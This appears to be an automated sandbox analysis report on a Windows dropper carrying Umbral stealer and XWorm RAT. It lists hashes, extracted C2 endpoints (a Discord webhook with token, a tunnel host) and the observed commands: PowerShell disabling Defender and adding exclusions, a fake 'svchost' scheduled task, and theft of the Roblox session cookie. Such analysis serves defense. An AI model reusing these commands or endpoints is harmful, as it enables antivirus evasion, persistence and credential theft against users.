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Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    18/05/2024, 14:16

General

  • Target

    New_Project_1 (5).exe

  • Size

    486KB

  • MD5

    330f592f3a03c5e2c2ed4593d227f1a8

  • SHA1

    55957a8e8d405569c655923dd9414c4ec6c45a0d

  • SHA256

    0f10ed177734b40d0ca45eed258f8c3ca585323e32db8f3cab7387b61de0e679

  • SHA512

    497f9308a49eb1e9451675f447c5774cbaf267dd77b69e1ab494609feca17a20224ac707e54abcb090ee90e1e8187e9fa681c200bcec97ac1bc36b0ce38d15c2

  • SSDEEP

    12288:cWjF6EjvVYEaZ1hJcSx3ThB6xL3s7H4sn4/OxJrinEXL/sT:p68aZ1hlxlay5HdCuL

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1239139511359897700/no9NKxq5Y0T8pWT8XT2sOPqegxvgFUODOTwovbkwjhDGUE5-JgfcJdGO-V3YrtPZiVPB

Extracted

Family

xworm

C2

reference-elliott.gl.at.ply.gg:37420

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    svchost.exe

Signatures

  • Detect Umbral payload 3 IoCs
  • Detect Xworm Payload 5 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\New_Project_1 (5).exe
    "C:\Users\Admin\AppData\Local\Temp\New_Project_1 (5).exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2896
    • C:\Users\Admin\AppData\Local\Temp\1.exe
      "C:\Users\Admin\AppData\Local\Temp\1.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2112
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2092
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '1.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2472
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1936
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2944
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\svchost.exe"
        3⤵
        • Creates scheduled task(s)
        PID:2940
    • C:\Users\Admin\AppData\Local\Temp\2.exe
      "C:\Users\Admin\AppData\Local\Temp\2.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3040
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2664
      • C:\Windows\system32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\2.exe"
        3⤵
        • Views/modifies file attributes
        PID:2536
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2720
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1792
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2812
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2012
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1732
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:2320
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:2272
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1060
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:852
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\2.exe" && pause
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1356
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • Runs ping.exe
              PID:3020
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {0639B9C5-C005-4526-96B9-CC71A2396193} S-1-5-21-2737914667-933161113-3798636211-1000:PUMARTNR\Admin:Interactive:[1]
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:2876
        • C:\Users\Admin\svchost.exe
          C:\Users\Admin\svchost.exe
          2⤵
          • Executes dropped EXE
          PID:3060
        • C:\Users\Admin\svchost.exe
          C:\Users\Admin\svchost.exe
          2⤵
          • Executes dropped EXE
          PID:2576
        • C:\Users\Admin\svchost.exe
          C:\Users\Admin\svchost.exe
          2⤵
          • Executes dropped EXE
          PID:2688

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        bfd7829f2073deb87dafeeda79852b3b

        SHA1

        2343b51fe778e76bae37ca0df67a3c5bb43163ee

        SHA256

        8ad2a108989a5fb1d0063ad210632f62621ce544a5415512f11af9f83a3e8fef

        SHA512

        d6ce7740e9e9d95913d421e5f9cc95d3075c593a9928a60b7ebc3a606730c67c735c83fbc2ce9634880771eefd48c2b532da0872e1e2fb1c9bd58341f13f3732

      • \Users\Admin\AppData\Local\Temp\1.exe

        Filesize

        88KB

        MD5

        4e4ffd6981f1d7df1e06e02c7a52e86a

        SHA1

        970d227a122a826f587fb49c694a422ec6aff1e0

        SHA256

        353010e5cbdfb234aadfcb40b517b51b24bbac81b64d794d5d8f8b1cd0cd6031

        SHA512

        1f75401fe015416453119bb92ea46c71412f342fe4bf1170bc2655a1c4f1fb4344bdff64df8dfd54f8203b30445225a70f12790432d3b59693e96de2fa5750ec

      • \Users\Admin\AppData\Local\Temp\2.exe

        Filesize

        230KB

        MD5

        8068d967a754039c953d677ed75caa65

        SHA1

        c6ca62d0e3f84f4018546cdf40b14ac80b06af95

        SHA256

        b2811334ba1ec945f7f2f1b1976e72dd634a4cf8b5679ceb4c90816d5b646b11

        SHA512

        8f8f9b0c50f3178daa1df6ce16755c7a0de24872a344fe6b93d1a9b11cfad2faa1ed5ad58c6ac9904b889188d8efaba2d51e4240e7a813fffe6878ec8970954c

      • memory/1792-27-0x000000001B520000-0x000000001B802000-memory.dmp

        Filesize

        2.9MB

      • memory/1792-28-0x0000000002790000-0x0000000002798000-memory.dmp

        Filesize

        32KB

      • memory/2092-55-0x0000000002240000-0x0000000002248000-memory.dmp

        Filesize

        32KB

      • memory/2112-14-0x0000000000FD0000-0x0000000000FEC000-memory.dmp

        Filesize

        112KB

      • memory/2472-67-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

        Filesize

        32KB

      • memory/2472-66-0x000000001B6A0000-0x000000001B982000-memory.dmp

        Filesize

        2.9MB

      • memory/2688-93-0x00000000003F0000-0x000000000040C000-memory.dmp

        Filesize

        112KB

      • memory/2720-21-0x0000000002960000-0x0000000002968000-memory.dmp

        Filesize

        32KB

      • memory/2720-20-0x000000001B660000-0x000000001B942000-memory.dmp

        Filesize

        2.9MB

      • memory/2896-0-0x0000000000400000-0x000000000047C000-memory.dmp

        Filesize

        496KB

      • memory/3040-15-0x00000000009E0000-0x0000000000A20000-memory.dmp

        Filesize

        256KB

      • memory/3060-89-0x0000000001350000-0x000000000136C000-memory.dmp

        Filesize

        112KB